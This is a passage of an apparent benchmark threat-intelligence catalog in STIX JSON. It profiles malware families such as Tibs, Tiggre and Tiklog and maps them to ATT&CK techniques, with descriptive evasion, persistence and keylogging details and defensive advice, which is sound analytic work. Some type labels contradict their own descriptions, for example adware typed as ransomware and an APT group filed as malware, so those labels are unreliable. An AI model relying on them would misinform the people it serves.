      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ec3a914-0023-53be-bbad-8ddf29d393df",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibia exhibits technique T1204.002 (User Execution: Malicious File (Disguised as game mods/bots))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--857fb360-a62a-5798-ba69-297835c47c39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ec3a914-0023-53be-bbad-8ddf29d393df",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibia exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Emailing stolen credentials))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0b1e83e-5e9e-5d2d-9cca-4a1c902d236b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ec3a914-0023-53be-bbad-8ddf29d393df",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibia exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0b739d0-aba2-56ab-a79c-d8bb157f59e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tibs",
      "description": "TrojanDownloader:Win32/Tibs is a classic, persistent trojan downloader designed to breach endpoint defenses and securely deliver secondary, high-severity payloads. Tibs is historically associated with botnet operations and is frequently used to drop rogue security software (fake AV), adware, or more severe banking trojans.<br><br><b>Understanding Tibs</b><br>To an end-user, a Tibs infection might go unnoticed initially, or it might quickly result in the appearance of aggressive pop-ups from fake antivirus programs claiming the computer is infected. For threat intelligence analysts, Tibs is a critical staging mechanism. Its primary objective is to securely bypass endpoint defenses and reach out to a Command-and-Control (C2) server to pull down the final payload.<br><br><b>Execution and Evasion Strategies</b><br>Tibs is commonly distributed via malspam campaigns, malicious links in instant messaging, or through exploit kits (`T1189`). Upon execution, it utilizes packing to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `System32` directory. It establishes persistence by modifying the Registry Run keys or creating a hidden service (`T1543.003`). Tibs frequently injects its downloading routine into legitimate system processes (like `svchost.exe`) (`T1055`) to mask its outbound network traffic. It then reaches out to hardcoded HTTP URLs to download its secondary payloads (`T1105`).<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or `svchost.exe` making unexpected HTTP connections to unknown domains. Network logs will often reveal Tibs downloading `.exe` files disguised as `.gif` or `.txt` files. The presence of new, unexpected startup entries in the Registry is a strong IoC. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tibs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tibs"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbd6ceb2-75b9-5a1f-8a64-dcb6d8c8e9b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0b739d0-aba2-56ab-a79c-d8bb157f59e8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibs exhibits technique T1105 (Ingress Tool Transfer (Downloading payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1431338-f5f8-59fd-a45a-88841a966548",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0b739d0-aba2-56ab-a79c-d8bb157f59e8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cee002e-a330-5be1-8aa6-b87f46987e6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0b739d0-aba2-56ab-a79c-d8bb157f59e8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibs exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b362e002-4bf6-51a0-843a-f017a93f553c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0b739d0-aba2-56ab-a79c-d8bb157f59e8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibs exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9219dce3-6ced-53dd-baba-0be846fee992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tibsystems",
      "description": "<h3>Executive Summary</h3>\nTIBSYSTEMS is a prevalent family of Potentially Unwanted Programs (PUPs) and aggressive Adware designed to monetize an infected user's web browsing activity. It frequently masquerades as a legitimate browser optimization tool or necessary system utility, but its primary function is to intercept web traffic, alter browser configurations, and inject intrusive advertisements into the user's display.\n\n<h3>Distribution and Technical Behavior</h3>\nTIBSYSTEMS is almost exclusively distributed via deceptive software bundling. It is commonly hidden within the \"Custom Installation\" options of free software installers downloaded from low-reputation, third-party software portals.\n\nOnce executed, TIBSYSTEMS deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> TIBSYSTEMS aggressively alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators, allowing them to generate illicit pay-per-click revenue.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, TIBSYSTEMS creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile TIBSYSTEMS does not actively encrypt files (like ransomware) or steal banking credentials, it introduces massive operational friction. The injected advertisements significantly degrade system performance, and the hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the TIBSYSTEMS executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.TibSystems",
        "PUP.TibSystems",
        "BrowserModifier:Win32/TibSystems"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tibsystems",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tibsystems"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4524d946-30e4-5333-89c1-0614cdd7323c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9219dce3-6ced-53dd-baba-0be846fee992",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibsystems exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8bf6827-f04c-57b5-8342-a76b6c658621",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9219dce3-6ced-53dd-baba-0be846fee992",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibsystems exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fb4075f-7fd5-5435-8089-fbdb37381498",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9219dce3-6ced-53dd-baba-0be846fee992",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibsystems exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac94d06f-2cc7-5d7b-a7b6-250fdb61ac41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tick",
      "description": "<h3>Executive Summary</h3>\nTick (also known as Bronze Butler, REDBALDknight, or Stalker Panda) is a highly sophisticated Advanced Persistent Threat (APT) group believed to be operating out of East Asia. Active since at least 2006, Tick primarily targets government agencies, defense contractors, heavy industry, and high-tech manufacturing sectors, heavily focusing its operations on targets in Japan and South Korea. Their primary objective is long-term cyber espionage and the exfiltration of highly sensitive intellectual property.\n\n<h3>Tactics, Techniques, and Procedures (TTPs)</h3>\nTick is characterized by its patience, advanced evasion techniques, and the use of a diverse arsenal of custom-developed malware alongside repurposed open-source tools.\n\nKey aspects of Tick's operational playbook include:\n<ul>\n<li><strong>Initial Access:</strong> The group frequently relies on zero-day vulnerabilities in regional enterprise software (such as popular Japanese asset management solutions) or highly targeted spear-phishing emails utilizing exploit-laden Office documents.</li>\n<li><strong>Custom Malware Arsenal:</strong> Tick deploys a variety of proprietary malware families, including <strong>Daserf</strong> (a sophisticated backdoor used for lateral movement and command execution), <strong>Minzen</strong> (a downloader), <strong>Datper</strong> (a RAT), and <strong>Xxmm</strong>. These tools are heavily obfuscated and frequently updated to evade signature-based detection.</li>\n<li><strong>Living off the Land (LotL):</strong> To maintain absolute stealth during lateral movement and data exfiltration, Tick operators heavily utilize legitimate administrative tools (like PowerShell, Windows Management Instrumentation (WMI), and PsExec) and legitimate cloud storage services to exfiltrate stolen data, blending their activities with normal administrative traffic.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn intrusion by the Tick APT group is a critical, \"nation-state level\" security incident. Their prolonged dwell times and focus on high-value intellectual property mean that a successful breach often results in devastating strategic and economic damage to the targeted organization.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Behavioral EDR and Threat Hunting:</strong> Defending against Tick requires mature EDR capabilities and active threat hunting. Security teams must monitor for anomalous usage of administrative tools (LotL techniques), unusual WMI queries, and unexpected lateral movement across the network.</li>\n<li><strong>Vulnerability Management:</strong> Given their history of exploiting regional enterprise software, organizations must maintain strict, accelerated patch management protocols, particularly for edge devices and specialized corporate applications.</li>\n<li><strong>Network Segmentation and DLP:</strong> Implement rigorous network segmentation to contain potential breaches. Deploy robust Data Loss Prevention (DLP) solutions to monitor for the bulk extraction of sensitive documents or CAD files to unauthorized external or cloud storage endpoints.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.Tick",
        "Bronze Butler",
        "REDBALDknight",
        "Stalker Panda"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tick",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tick"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0809c236-ce25-5831-9ff5-9803049cf53a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1192: Spearphishing Link",
      "description": "MITRE ATT&CK Technique T1192 (Spearphishing Link) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1192",
          "url": "https://attack.mitre.org/techniques/T1192/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e4e0025-c398-515f-85be-2d7dc8b68fad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac94d06f-2cc7-5d7b-a7b6-250fdb61ac41",
      "target_ref": "attack-pattern--0809c236-ce25-5831-9ff5-9803049cf53a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tick exhibits technique T1192 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3237c49-fd87-578c-998c-bdee57f0b947",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac94d06f-2cc7-5d7b-a7b6-250fdb61ac41",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tick exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd0455b3-c7bf-522e-aa50-0799d73f236c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac94d06f-2cc7-5d7b-a7b6-250fdb61ac41",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tick exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64f79ef1-2beb-587d-88fd-aa09d5a53bf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac94d06f-2cc7-5d7b-a7b6-250fdb61ac41",
      "target_ref": "attack-pattern--518e40e2-6189-54b7-a336-29417ed0c6c0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tick exhibits technique T1567.002 (Exfiltration to Cloud Storage)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d419d18-1ca2-52ca-81ee-5bc719c4b233",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tierry",
      "description": "<h3>Executive Summary</h3>\nTierry is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as ransomware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTierry is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents) or via compromised software installers downloaded from untrustworthy portals.\n\nUpon successful execution, Tierry operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tierry ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tierry receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tierry infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Tierry executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Tierry often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tierry",
        "Downloader.Tierry",
        "Win32/Tierry"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tierry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tierry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a85fc92-d85a-5492-9036-a0e423bec4d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d419d18-1ca2-52ca-81ee-5bc719c4b233",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tierry exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b3c22db-3c73-5fb3-878e-93c8758f7555",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d419d18-1ca2-52ca-81ee-5bc719c4b233",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tierry exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a8b8502-cbdd-5c59-b4d6-33b21c6d3fc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d419d18-1ca2-52ca-81ee-5bc719c4b233",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tierry exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tiggre",
      "description": "Trojan:Win32/Tiggre!rfn (widely recognized across Microsoft Defender and endpoint telemetry as CoinMiner.Tiggre, Trojan.Tiggre, or Win32/Tiggre) is a prolific, evasive cryptojacking trojan and miner loader designed to stealthily hijack host CPU and GPU resources to mine Monero (XMR) cryptocurrency. Commonly wrapping optimized open-source XMRig mining code inside heavily obfuscated, multi-layered packers, Tiggre is distributed through pirated software releases, game cracks, keygens, and malicious torrent archives. Upon execution, Tiggre disables Windows Defender real-time scanning by modifying Group Policy and Windows Security registry keys, injects its mining threads into legitimate system binaries (such as svchost.exe, notepad.exe, or RuntimeBroker.exe), and dynamically throttles CPU consumption during user interaction or when Task Manager is launched to evade human detection. (Observed samples in benchmark: 1,728)",
      "is_family": true,
      "malware_types": [
        "cryptominer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tiggre",
        "Trojan:Win32/Tiggre!rfn",
        "CoinMiner.Tiggre",
        "Trojan.Tiggre",
        "Win32/Tiggre",
        "Tiggre Miner",
        "Trojan:Win32/Tiggre"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tiggre",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tiggre"
        }
      ],
      "labels": [
        "cryptominer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63c3ab70-31f7-50fa-ae4d-56584e206960",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e11bcc33-e718-515e-b166-218e9cae0a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a82cb7cd-78f8-568f-bf84-651f7362093a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f49e09f0-b0a1-59c5-b0fd-daab272ac2f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1057 (Process Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f0f417f-d204-5563-8d92-0ab10229036a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6178b034-3197-5dec-9fa1-3f6f3b26d648",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3566477-0bf3-5d3c-a7f3-bd4f351779f9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiggre exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9afc8e55-6fde-594b-9a25-cb450720e15e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tiklog",
      "description": "<h3>Executive Summary</h3>\nTiklog is a dedicated, malicious Keylogger and Information Stealer. Its primary objective is to silently monitor a victim's keystrokes, capturing passwords, personal communications, and sensitive financial data without the user's knowledge, and transmitting this harvested intelligence to remote cybercriminals.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTiklog is typically distributed via spear-phishing campaigns containing malicious attachments, software bundling (hidden within \"free\" or cracked applications), or as a secondary payload dropped by an initial access broker.\n\nOnce executed, Tiklog establishes deep system hooks to monitor user input:\n<ul>\n<li><strong>Keystroke Interception:</strong> The malware utilizes Windows API hooking (specifically utilizing `SetWindowsHookEx`) to intercept hardware interrupts from the keyboard. This allows it to record every single keystroke before it reaches the intended application.</li>\n<li><strong>Contextual Logging:</strong> Advanced variants of Tiklog do not just record raw keystrokes; they record the title of the active window where the keystrokes were entered. This allows attackers to easily parse the logs to find the specific keystrokes entered into \"Bank of America Login\" or \"VPN Authentication.\"\n<li><strong>Exfiltration:</strong> The recorded logs are typically saved locally to a hidden, encrypted file. Periodically, the keylogger will silently transmit this file to an attacker-controlled server via SMTP (email), FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tiklog infection is a severe privacy and security breach. Because it captures data at the hardware input level, it completely bypasses the encryption of HTTPS websites and renders standard password complexity rules useless, as the attacker receives the password exactly as it is typed.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to immediately halt the outbound transmission of the recorded keylogs.</li>\n<li><strong>Complete Credential Reset:</strong> Assume that every password ever typed on the infected machine (including network domain credentials, personal banking, and social media) has been compromised. The user must initiate a comprehensive password reset from a known-secure, separate device.</li>\n<li><strong>Endpoint Sweeps:</strong> Utilize robust EDR or anti-malware tools to locate and terminate the keylogger process. Pay close attention to hidden files in `%AppData%` and anomalous entries in the Registry `Run` keys used for persistence.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keylogger.Tiklog",
        "Spyware.Tiklog",
        "Win32/Tiklog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tiklog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tiklog"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a20576ca-87e4-50c4-b617-f9d383bcf1ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9afc8e55-6fde-594b-9a25-cb450720e15e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiklog exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b7f8578-e047-53eb-b5c4-6a6f2a1253b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9afc8e55-6fde-594b-9a25-cb450720e15e",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiklog exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
